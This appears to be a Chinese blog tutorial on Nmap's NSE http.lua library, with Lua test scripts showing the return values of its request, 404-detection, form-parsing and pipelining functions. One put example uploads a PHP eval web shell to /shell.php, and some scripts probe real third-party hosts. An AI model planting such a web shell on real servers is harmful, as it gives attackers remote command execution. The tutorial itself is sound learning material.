Nmap 使用lua 语言作为脚本进行扩展功能,并且写了一些集成功能的 lib 文件,重新定义了很多函数 具体官方给出的地址如见 :https://nmap.org/nsedoc/
可以看到 Nmap 文件的结构,其中nselib 文件夹就存放着所有的预先设计好的库文件
可以看到一共有141 个库文件,接下来的工作就是对其中比较常用的进行分析
Nmap 其实给了一份库文件函数参考: https://nmap.org/nsedoc/lib/http.html (这个是http库的地址)
调用NSE脚本时会首先调用 nse_main.lua 由这个文件进行统一的调控
这个脚本的作用主要为:
官方文档 https://nmap.org/nsedoc/lib/http.html
http 库可以完成基本的http协议的数据包构造以及发送,基本的get、post、head方法都可以实现 ,如果想要实现更多的控制可以使用 generic_request 方法。get_url 这个方法可以用来实现 url格式化,获取一个完整的字符串
https 可以使用 comm.tryssl 去判断使用ssl的版本等
这些函数的返回值是一个表,表中包括以下内容:
很多函数支持一个可选择的参数option,这个参数是一个表,可以定制化http包的内容,比如设置header,设置timeout等,具体可用的key如下:
timeout
- socket超时时间header
- 一个包含其他header的表. For example, options['header']['Content-Type'] = 'text/xml'
content
- 消息的内容。这可以是一个字符串,它将直接添加为消息的主体,也可以是一个表,它将添加每个key=value对(就像一个普通的POST请求)。(将自动添加相应的内容长度标题。设置header['Content-Length']以覆盖它)。cookies
- cookie的值,可以是字符串也可以是一个表,如果是一个表,会有 name, value 字段.auth
- 一个用来认证的表,包含username,password 两个key, 这种适用于 HTTP Basic 认证,如果是HTTP Digest 认证需要有一个 digest 的key,并且值为 true;如果采用 ntlm 认证,那么需要有一个 ntlm 的key,值为true。bypass_cache
- 不在本地缓存中进行查找相关内容no_cache
- 不在本地进行缓存no_cache_body
- 不在本地缓存http bodymax_body_size
- 限制接收body的字节大小,可以覆盖 http.max-body-size truncated_ok
- 不把过大的body当做错误,覆盖参数 http.truncated-okany_af
- 允许连接到任意的地址簇,ipv4和ipv6都可以。默认这些方法只会使用 nmap.address_family 解析到的地址簇。redirect_ok
- 覆盖用于验证是否遵循HTTP重定向的默认redirect_ok的闭包。如果不遵循HTTP重定向,则为False。或者,可以传递一个数字来更改要遵循的重定向的数量。以下示例显示了如何编写跟随5个连续重定向的自定义闭包,而不对默认的redirect_ok进行安全检查:
redirect_ok =
function(host,port)
local c =
5
return
function(url)
if
( c==0
)
then
return
false
end
c = c -
1
return
true
end
end
一个脚本如果并行发送很多http包,那么管道功能就很有用了。可以使用pipeline_add 将请求添加进队列,使用 pipeline_go 来发起队列中的请求,最终返回一个数组,顺序与添加时候一样
-- Start by defining the 'all' variable as nil
local all = nil
-- Add two GET requests and one HEAD to the queue but these requests are
-- not performed yet. The second parameter represents the "options" table
-- (which we don't need in this example).
all = http.pipeline_add('/book', nil, all)
all = http.pipeline_add('/test', nil, all)
all = http.pipeline_add('/monkeys', nil, all, 'HEAD')
-- Perform all three requests as parallel as Nmap is able to
local results = http.pipeline_go('nmap.org', 80, all)
HTTP库提供的另一个接口可帮助脚本确定页面是否存在。identify_404 函数将尝试服务器上的几个URL,以确定服务器的404页面的外观。它将尝试识别可能不会返回实际状态代码404的自定义404页面。如果成功,则可以使用 page_exists 函数确定页面是否存在
探测服务器是否支持 head 方法
在 http.lua 文件中有近3000 行代码,除了以上的这些方法,还有一些帮助实现上面对外发布的功能的函数,比如用来处理表与表之间复制粘贴、处理空格,获取token等等一系列
http 包对于渗透测试者来说可能是最重要的一个数据包,其中的额外方法在我们编写脚本的时候也会用到,所以我把剩下的方法按照出现的顺序也都列出来,挑选重要的部分进行解释。
方法名 | 描述 |
---|---|
tcopy (t) | 递归复制表。仅当值是表时递归,其他值则通过赋值复制。最终返回复制后的表 |
table_augment(to, from) | 将一个表中数据粘贴并覆盖进另一个表 |
get_host_field(host, port) | 获取host header字段,可能是IP,或者是hostname等 |
skip_space(s, offset) | 根据指定偏移量跳过空格。返回空格后的第一个索引以及跳过的空格 |
get_token(s, offset) | 根据指定偏移量查找token(其实就是一个字符串段,不是普遍意义的token),返回token后的一个索引以及找到的token,没有匹配到则返回nil |
get_quoted_string(s, offset, crlf) | 获取指定偏移量的双引号中的内容,返回匹配内容和匹配内容后的第一个索引 |
skip_lws(s, pos) | 跳过 \t、\r、\n后,返回第一个索引 |
validate_options(options) | 函数用来检查http的options表的各个字段是否填写规范,如果都规范则返回true |
recv_line(s, partial) | 接收一行数据 |
line_is_empty(line) | 判断一行是否为空行 |
recv_header(s, partial) | 接收数据直到遇到一个空白行,可以看为http 的 header 信息 |
recv_all(s, partial) | 一直接收数据,直到连接被关闭 |
recv_length(s, length, partial) | 接收 n 个bytes 数据 |
recv_chunked(s, partial) | 接收直到 chunked 的结尾块,返回拼接后的代码 |
recv_body(s, response, method, partial) | 接收http的响应body体,分为几种情况,最后会返回接受到的内容 |
parse_status_line(status_line, response) | 解析响应包状态行,并且将值赋给 response.version ,response.status |
parse_header(header, response) | 解析响应头,赋值给 response.header, response.rawheader |
next_response(s, method, partial) | 读取一个响应包,并在解析后返回 |
getPipelineMax(response) | 尝试根据“ Keep-Alive:timeout = xx,max = yy”响应标头提取在保持活动连接上应发出的最大请求数并将这个数字返回出来 |
buildCookies(cookies, path) | 就是将解析过后的cookie进行拼接,返回一个字符串 |
check_size (cache) | 检查最大缓存数值是否会有各处的冲突 |
lookup_cache (method, host, port, path, options) | 从缓存中查找数据,如果找到,返回数据组成的表,找不到返回 nil以及连接状态 |
response_is_cacheable(response) | 判断响应包是否可以缓存 |
insert_cache (state, response) | 将提供的response 加入缓存 |
request_method_needs_content_length(method) | 判断是否请求方法一定需要 content-length 字段 |
http_error(status_line, fragment) | http发生错误时可以调用这个函数返回错误状态以及接收到的片段 |
build_request(host, port, method, path, options) | 组合一个http请求,并将其作为字符串返回 |
request(host, port, data, options) | 用于发送一个确切的请求包,不要拼接的那种,之后返回next_response() 解析后的响应包 |
get_redirect_ok(host, port, options) | 返回一个正确处理HTTP重定向函数 |
pGet( host, port, path, options, ignored, allReqs ) | 被遗弃了 |
pHead( host, port, path, options, ignored, allReqs ) | 被遗弃了 |
addPipeline(host, port, path, options, ignored, allReqs, method) | 被遗弃了 |
pipeline(host, port, allReqs) | 被遗弃了 |
skip_space(s, pos) | 与上面的同名函数相同,不知道开发者为什么会定义相同函数 |
read_token(s, pos) | 与get_token相同功能 |
read_quoted_string(s, pos) | 与 get_quoted_string 相同 |
read_token_or_quoted_string(s, pos) | read_token_or_quoted_string 上面两个函数结合一起了 |
get_attr (html, name) | 根据html代码和属性名,获取属性的值 |
read_auth_challenge(s, pos) | 在Basic Authentication 认证的http header 中读取挑战码 |
cache_404_response(host, port, response) | 将 response 对应的端口缓存到 host.registry.http_404[portnum] 中 |
说来惭愧,仅仅翻译以上这些函数的作用就用了我一周的时间,但是我还是没有完全理解这些函数。
Nmap 官方为处理 http 包定义了上面一系列私有函数,每个函数有特定格式的参数,之后函数进行处理,之后再返回处理后的一个特定格式的返回值。所以在翻译或过程如果不去打印这些返回值的话,很难去真正理解这些函数。
下面我们就来将这些对外提供功能的函数进行调用输出,我们按照实际发生http数据交换的顺序来。
调试 Nmap NSE源码与其他程序不太一样,需要我们去自定义脚本引用http.lua 库,并调用其中的功能,之后使用 nmap --script=xxx 来进行触发
下面我们一步一步将一个基础的代码写好
local http = require "http"
local nmap = require "nmap"
local shortport = require "shortport"
local strbuf = require "strbuf"
local table = require "table"
description = [[
This is a test for http.lua's functions
]]
author = "test94"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"default"}
prerule = function()
print("functest running")
end
portrule = shortport.http
action = function(host, port)
local output = stdnse.output_table()
-- some codes
-- result = function return
output.result = result
end
这样一个基本的脚本就完成了,上个全家福
首先测试一些发送请求包的函数
get 函数一共四个参数:host, port, path, options
---
--- Generated by EmmyLua(https://github.com/EmmyLua)
--- Created by root.
--- DateTime: 2020/1/2 上午9:39
---
local http = require "http"
local stdnse = require "stdnse"
description = [[
This is a test for http.lua's functions
]]
author = "test94"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"default"}
prerule = function()
print("functest running")
end
portrule = function () return true end --shortport.http
action = function(host, port)
local output = stdnse.output_table()
local options = {header={}}
options["header"]["User-Agent"] = "function test "
local result = http.get(host, port, "/", options )
output.restype = type(result)
output.result = result
return output
end
使用 wireshark 进行抓包测试
可以看到我们通过 options 参数改变了发包的 User-Agent ,nmap这边输出的 get参数返回值的类型,以及返回值如下:
可以看到,我们定义的 prerule 在脚本执行前执行了,get函数返回值是一个表,从内容来看就是上面所说的标准响应表。这样可以方便我们至今通过表的key 来获取相应的值
post 函数有6个参数:host, port, path, options, ignored, postdata
其中 ignored 这个参数是表示忽略向后兼容
postdata 是被post传输的数据, 这个参数支持字符串也可以是一个表,之后会被加密后使用 application/x-www-form-encoded 传输
---
--- Generated by EmmyLua(https://github.com/EmmyLua)
--- Created by root.
--- DateTime: 2020/1/2 上午9:39
---
local http = require "http"
local stdnse = require "stdnse"
description = [[
This is a test for http.lua's functions
]]
author = "test94"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"default"}
prerule = function()
print("functest running")
end
portrule = function () return true end --shortport.http
action = function(host, port)
local output = stdnse.output_table()
local options = {header={}}
options["header"]["User-Agent"] = "function post test "
local result = http.post(host, port, "/system/login.aspx", options,true,"__VIEWSTATE=/wEPDwULLTE5MjI3NzkxNzhkZHK9sGpoX3RVtc+0YqzClfMjawUumJw8RY5FnscWa7bX&__VIEWSTATEGENERATOR=75191122&__EVENTVALIDATION=/wEdAAJ6olSjOPTwBl7ZcvEIibuSshCT4q90vziZH2FxDPZECOC2310GU2/iSO5H3shSHSnbo4hUCMLPsPpUfW17N+Fi&LOGINCAT=Y&userid=admin&userpwd=password&logintype=Y" )
output.restype = type(result)
output.result = result
return output
end
这里使用 nc 来模拟服务器 ,nc接收到数据包如下:
我们的脚本接收到返回值为
可以看到post的返回值也是一个标准响应表
head 函数一共有四个参数:host, port, path, options
---
--- Generated by EmmyLua(https://github.com/EmmyLua)
--- Created by root.
--- DateTime: 2020/1/2 上午9:39
---
local http = require "http"
local stdnse = require "stdnse"
description = [[
This is a test for http.lua's functions
]]
author = "test94"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"default"}
prerule = function()
print("functest running")
end
portrule = function () return true end --shortport.http
action = function(host, port)
local output = stdnse.output_table()
local options = {header={}}
options["header"]["User-Agent"] = "function post test "
local result = http.head(host, port, "/", options )
output.restype = type(result)
output.result = result
return output
end
head 函数的返回值如下:
head 函数也是一样的,返回一个标准响应表
put 函数有5个参数:host, port, path, options, putdata
---
--- Generated by EmmyLua(https://github.com/EmmyLua)
--- Created by root.
--- DateTime: 2020/1/2 上午9:39
---
local http = require "http"
local stdnse = require "stdnse"
description = [[
This is a test for http.lua's functions
]]
author = "test94"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"default"}
prerule = function()
print("functest running")
end
portrule = function () return true end --shortport.http
action = function(host, port)
local output = stdnse.output_table()
local options = {header={}}
options["header"]["User-Agent"] = "function post test "
local result = http.put(host, port, "/shell.php", options, "<?php eval($_GET['cmd'];) ?>")
output.restype = type(result)
output.result = result
return output
end
使用nc 进行模拟,put 函数发出的数据包如下:
函数的返回值为
可以看到,put 函数的返回值也是一个标准响应表
所有的发送http包的函数都是调用这个函数进行发包的
generic_request 函数有5个参数,host, port, method, path, options
大家一定有和我一样的疑问,post,put方法的数据值在这个函数的参数中并没有体现,我们查找 post 函数调用 generic_request 函数的片段看一下
可以看到,post的提交数据的地方直接放在 options 字段中进行提交了,在 mod_options 表中 content 字段中保存提交。
那么 generic_request 是如何处理的呢?
可以看到,交给了 build_request 函数进行处理了,我们继续跟进
在 build_request 函数的注释中可以看到,options 参数中一般有四个参数:header, content, cookies, auth。其中 content 字段中就包含我们的数据段,我们跟进一下如何处理的
可以看到,在这一部分进行了拼接组合,最终按照下面返回
到这里以后就解开了,这个 generic_request 的 options 参数与之前的get, post, put, head 的 options 是不一样的,这里可以完成定制头,定制内容,定制cookie,定制认证方案。
这个函数以后单拿出一个小节来讲解。
这个函数只有两个默认参数: host, port
---
--- Generated by EmmyLua(https://github.com/EmmyLua)
--- Created by root.
--- DateTime: 2020/1/2 上午9:39
---
local http = require "http"
local stdnse = require "stdnse"
description = [[
This is a test for http.lua's functions
]]
author = "test94"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"default"}
prerule = function()
print("functest running")
end
portrule = function () return true end --shortport.http
action = function(host, port)
local output = stdnse.output_table()
local options = {header={}}
-- options["header"]["User-Agent"] = "function post test "
local result1,result2 = http.identify_404(host, port)
output.restype1 = type(result1)
output.restype2 = type(result2)
output.result1 = result1
output.result2 = result2
return output
end
identify_404 返回值为两个三个,result1 是 true / false,表示是否可以分辨404页面;result2 表示已经404 页面返回的状态码;第三个返回值是我从其他代码里发现的,如果不存在页面返回值为 200 ,那么这个返回值为这个页面,如果是其他状态码,那这个参数为 nil
发出的数据包如下:
接受到的结果为
可以看到接收到的第二个参数为 nil ,这是因为nc模拟的原因,我们对百度进行检测
百度的返回值就比较完整了,可以看到两个参数的值和类型
这个函数是用来检测是否可以使用head方法的,有四个参数:host, port, result_404, path
其中 result_404 是由 identify_404 检测的,如果404 页面返回200状态码,那么就不使用head 方法,这个参数是数值型
---
--- Generated by EmmyLua(https://github.com/EmmyLua)
--- Created by root.
--- DateTime: 2020/1/2 上午9:39
---
local http = require "http"
local stdnse = require "stdnse"
description = [[
This is a test for http.lua's functions
]]
author = "test94"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"default"}
prerule = function()
print("functest running")
end
portrule = function () return true end --shortport.http
action = function(host, port)
local output = stdnse.output_table()
local options = {header={}}
-- options["header"]["User-Agent"] = "function post test "
local result_status,result_404 = http.identify_404(host, port)
local use_head, head_data = http.can_use_head(host, port, result_404, "/")
output.restype_use_head = type(use_head)
output.restype_head_data = type(head_data)
output.result_user_head = use_head
output.result_head_data = head_data
return output
end
结果如下:
可以看出,返回值有两个,第一个是 boolean型,表示是否可以使用head,第二个是table 类型,其值为一个标准响应表。
这个函数是配合 identify_404 的,用来将数据包中的一些影响比较的数据去掉,其中包括:时间、日期、路径。然后将剩下的内容返回。
参数为标准响应表的body字段的值或者md5后的字符串
---
--- Generated by EmmyLua(https://github.com/EmmyLua)
--- Created by root.
--- DateTime: 2020/1/2 上午9:39
---
local http = require "http"
local stdnse = require "stdnse"
description = [[
This is a test for http.lua's functions
]]
author = "test94"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"default"}
prerule = function()
print("functest running")
end
portrule = function () return true end --shortport.http
action = function(host, port)
local output = stdnse.output_table()
local options = {header={}}
options["header"]["User-Agent"] = "function post test "
local result_table = http.get(host, port, "/", options)
local cleaned_body = http.clean_404(result_table.body)
output.restype = type(cleaned_body)
output.result = cleaned_body
output.old_result = result_table.body
return output
end
上面代码我是将去处相关信息后的结果称为 result , 未去除的称为 old_result .
可以看到去除后相关信息后的结果非常短,原本的body字段非常长。开始我怀疑是作者写错了,可能把哪条正则给写大了,之后我就将每条正则都注释掉,之后再查看结果,最后发现不是正则的原因,是下面这段
如果我们的电脑环境中支持ssl ,那么直接返回 openssl.md5() 之后的值。
get_url 函数有两个参数:u, options
u 是 url , options 就是之前get等方法的options参数了,其中包含 header ,timeout等
---
--- Generated by EmmyLua(https://github.com/EmmyLua)
--- Created by root.
--- DateTime: 2020/1/2 上午9:39
---
local http = require "http"
local stdnse = require "stdnse"
description = [[
This is a test for http.lua's functions
]]
author = "test94"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"default"}
prerule = function()
print("functest running")
end
portrule = function () return true end --shortport.http
action = function(host, port)
local output = stdnse.output_table()
local options = {header={}}
options["header"]["User-Agent"] = "function post test "
local result = http.get_url("http://183.60.107.44:8080/", options)
output.restype = type(result)
output.result = result
return output
end
我们还是对这个目标进行测试
可以看到返回值也是一个标准响应表,其解析url 使用的是url库的parse方法。
page_exists 函数有5个参数:data, result_404, known_404, page, displayall
---
--- Generated by EmmyLua(https://github.com/EmmyLua)
--- Created by root.
--- DateTime: 2020/1/2 上午9:39
---
local http = require "http"
local stdnse = require "stdnse"
description = [[
This is a test for http.lua's functions
]]
author = "test94"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"default"}
prerule = function()
print("functest running")
end
portrule = function () return true end --shortport.http
action = function(host, port)
local output = stdnse.output_table()
local options = {header={}}
options["header"]["User-Agent"] = "function post test "
response = http.get(host, port, "/robots.txt", {redirect_ok=false})
local status_404, result_404, known_404 = http.identify_404(host,port)
pages_existed = http.page_exists(response, result_404, known_404, "/robots.txt", false)
output.restype = type(pages_existed)
output.result = pages_existed
return output
end
对 https://www.baidu.com/robots.txt 进行检测
可以看到返回值类型为 boolean, https://www.baidu.com/robots.txt 存在,所以返回 true
redirect_ok 有三个参数: host, port, counter 。其中 counter 为follow重定向的次数
这个函数返回值是一个函数,这个函数的功能是按照相应的规则判断是否可以跳转
---
--- Generated by EmmyLua(https://github.com/EmmyLua)
--- Created by root.
--- DateTime: 2020/1/2 上午9:39
---
local http = require "http"
local stdnse = require "stdnse"
description = [[
This is a test for http.lua's functions
]]
author = "test94"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"default"}
prerule = function()
print("functest running")
end
portrule = function () return true end --shortport.http
action = function(host, port)
local output = stdnse.output_table()
local options = {header={}}
options["header"]["User-Agent"] = "function post test "
local result = http.redirect_ok(host, port, 1)
output.restype = type(result)
output.result = result
return output
end
找一个默认会跳转的目标进行测试
可以看到返回值是一个函数
save_path 函数有7个参数: host, port, path, status, links_to, linked_from, contenttype
这个函数没有返回值,这个函数将所有相关结果都保存进入 nmap.registry 中
其实这个函数被nse中使用极少,在nse中,与http相关的脚本有 132个
将所有的都打开查找 save_path 函数的调用情况
可以看到,只有一个脚本使用了这个函数,在我看来,只有对 NSE 十分了解,并且有多个脚本联合作战共享数据的情况下才需要这个函数
发送数据包相关的函数基本结束了,下面就是对响应包进行相关操作的函数了
get_status_string 只有一个参数:data,这个参数是一个标准响应表,返回值是状态栏字符串
---
--- Generated by EmmyLua(https://github.com/EmmyLua)
--- Created by root.
--- DateTime: 2020/1/2 上午9:39
---
local http = require "http"
local stdnse = require "stdnse"
description = [[
This is a test for http.lua's functions
]]
author = "test94"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"default"}
prerule = function()
print("functest running")
end
portrule = function () return true end --shortport.http
action = function(host, port)
local output = stdnse.output_table()
local options = {header={}}
options["header"]["User-Agent"] = "function post test "
local data = http.get(host, port, "/", options)
local result = http.get_status_string(data)
output.restype = type(result)
output.result = result
return output
end
发送数据包,获取状态栏
可以看到返回值类型是字符串,为响应行
grab_forms函数只有一个参数:body ,就是http响应包的body
---
--- Generated by EmmyLua(https://github.com/EmmyLua)
--- Created by root.
--- DateTime: 2020/1/2 上午9:39
---
local http = require "http"
local stdnse = require "stdnse"
description = [[
This is a test for http.lua's functions
]]
author = "test94"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"default"}
prerule = function()
print("functest running")
end
portrule = function () return true end --shortport.http
action = function(host, port)
local output = stdnse.output_table()
local options = {header={}}
options["header"]["User-Agent"] = "function post test "
local data = http.get(host, port, "/login.jsp;jsessionid=F3391B85627E6B4C711A825F921C015D", options)
local result = http.grab_forms(data.body)
output.restype = type(result)
output.result = result
return output
end
找一个带表格的测试一下返回值:
可以看到返回值是一个表,其中包含整个表格的代码内容
parse_date 只有一个参数 s, 参数为日期字符串,具体支持如下
* Sun, 06 Nov 1994 08:49:37 GMT (RFC 822, updated by RFC 1123)
* Sunday, 06-Nov-94 08:49:37 GMT (RFC 850, obsoleted by RFC 1036)
* Sun Nov 6 08:49:37 1994
返回值为一个带有年月日等字段的表
---
--- Generated by EmmyLua(https://github.com/EmmyLua)
--- Created by root.
--- DateTime: 2020/1/2 上午9:39
---
local http = require "http"
local stdnse = require "stdnse"
description = [[
This is a test for http.lua's functions
]]
author = "test94"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"default"}
prerule = function()
print("functest running")
end
portrule = function () return true end --shortport.http
action = function(host, port)
local output = stdnse.output_table()
local options = {header={}}
options["header"]["User-Agent"] = "function post test "
local data = "Sun, 06 Nov 1994 08:49:37 GMT"
local result = http.parse_date(data)
output.restype = type(result)
output.result = result
return output
end
使用 "Sun, 06 Nov 1994 08:49:37 GMT" 字符串测试一下
可以看到返回值是一个表,表中有 month、hour、isdst、year、day、sec、min
parse_form 只有一个参数,form 是一个字符串格式的form,一般也就是 grab_forms 返回值表中的内容
---
--- Generated by EmmyLua(https://github.com/EmmyLua)
--- Created by root.
--- DateTime: 2020/1/2 上午9:39
---
local http = require "http"
local stdnse = require "stdnse"
description = [[
This is a test for http.lua's functions
]]
author = "test94"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"default"}
prerule = function()
print("functest running")
end
portrule = function () return true end --shortport.http
action = function(host, port)
local output = stdnse.output_table()
local options = {header={}}
options["header"]["User-Agent"] = "function post test "
local data = http.get(host, port, "/login.jsp;jsessionid=F3391B85627E6B4C711A825F921C015D", options)
local result = http.grab_forms(data.body)
local result = http.parse_form(result[1])
output.restype = type(result)
output.result = result
return output
end
测试一下这个函数
可以看到返回值是一个表,表中key包含 action,method,fields
parse_redirect 函数有四个参数: host, port, path, response
其中 response 就是 http.get 和 http.head 的标准响应表
返回值就是重定向响应包的元素组成的表
---
--- Generated by EmmyLua(https://github.com/EmmyLua)
--- Created by root.
--- DateTime: 2020/1/2 上午9:39
---
local http = require "http"
local stdnse = require "stdnse"
description = [[
This is a test for http.lua's functions
]]
author = "test94"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"default"}
prerule = function()
print("functest running")
end
portrule = function () return true end --shortport.包含http
action = function(host, port)
local output = stdnse.output_table()
local options = {header={}}
options["header"]["User-Agent"] = "function post test "
local data = http.get(host, port, "/", options)
local result = http.parse_redirect(host,port,"/",data)
output.restype = type(result)
output.result = result
return output
end
对 38.115.60.125 的 81 端口进行测试
可以看到返回值为一个表
parse_www_authenticate 函数只有一个参数 s ,s 为响应头字符串,这个函数中可以从变量s 中查找挑战码并保存到表里,之后返回这个表
这个函数有三个参数: response, pattern, case_sensitive
---
--- Generated by EmmyLua(https://github.com/EmmyLua)
--- Created by root.
--- DateTime: 2020/1/2 上午9:39
---
local http = require "http"
local stdnse = require "stdnse"
description = [[
This is a test for http.lua's functions
]]
author = "test94"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"default"}
prerule = function()
print("functest running")
end
portrule = function () return true end --shortport.http
action = function(host, port)
local output = stdnse.output_table()
local options = {header={}}
options["header"]["User-Agent"] = "function post test "
local data = http.get(host, port, "/", options)
local contain, content = http.response_contains(data,'[a-z](.+?)',false)
output.contain_type = type(contain)
output.contain = contain
output.content_type = type(content)
output.result = content
return output
end
对百度网站进行测试
有两个返回值,第一个是 boolean 类型,表示响应包是否包含我们查找的内容;第二个值为一个表,表中为匹配到的内容。
tag_pattern 函数有两个参数: tag, endtag
---
--- Generated by EmmyLua(https://github.com/EmmyLua)
--- Created by root.
--- DateTime: 2020/1/2 上午9:39
---
local http = require "http"
local stdnse = require "stdnse"
description = [[
This is a test for http.lua's functions
]]
author = "test94"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"default"}
prerule = function()
print("functest running")
end
portrule = function () return true end --shortport.http
action = function(host, port)
local output = stdnse.output_table()
local options = {header={}}
options["header"]["User-Agent"] = "function post test "
--local data = http.get(host, port, "/", options)
--local contain, content = http.response_contains(data,'[a-z](.+?)',false)
local result = http.tag_pattern("div",true)
output.restype = type(result)
output.result = result
return output
end
我们以 div 标签为例
pipeline_add 函数有四个参数: path, options, all_requests, method
---
--- Generated by EmmyLua(https://github.com/EmmyLua)
--- Created by root.
--- DateTime: 2020/1/2 上午9:39
---
local http = require "http"
local stdnse = require "stdnse"
description = [[
This is a test for http.lua's functions
]]
author = "test94"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"default"}
prerule = function()
print("functest running")
end
portrule = function () return true end --shortport.http
action = function(host, port)
local output = stdnse.output_table()
local options = {header={}}
options["header"]["User-Agent"] = "function post test "
result = http.pipeline_add("/robots.txt", options, nil,"GET")
result = http.pipeline_add("/www.zip", options, result,"GET")
output.restype = type(result)
output.result = result
return output
end
我们添加相关的请求后输出一下,如下:
可以看到结果是一个表,表中存在一些字段,比如 header , method, path
pipeline_go 有三个参数:host, port, all_requests
---
--- Generated by EmmyLua(https://github.com/EmmyLua)
--- Created by root.
--- DateTime: 2020/1/2 上午9:39
---
local http = require "http"
local stdnse = require "stdnse"
description = [[
This is a test for http.lua's functions
]]
author = "test94"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"default"}
prerule = function()
print("functest running")
end
portrule = function () return true end --shortport.http
action = function(host, port)
local output = stdnse.output_table()
local options = {header={}}
options["header"]["User-Agent"] = "function post test "
local pipeline1 = http.pipeline_add("/robots.txt", options, nil,"GET")
local pipeline2 = http.pipeline_add("/www.zip", options, pipeline1,"GET")
local result = http.pipeline_go(host, port, pipeline2)
output.restype = type(result)
output.result = result
return output
end
使用 pipeline_go 函数进行发送数据包
可以看到的是返回值是一个表,表中包含n个标准响应表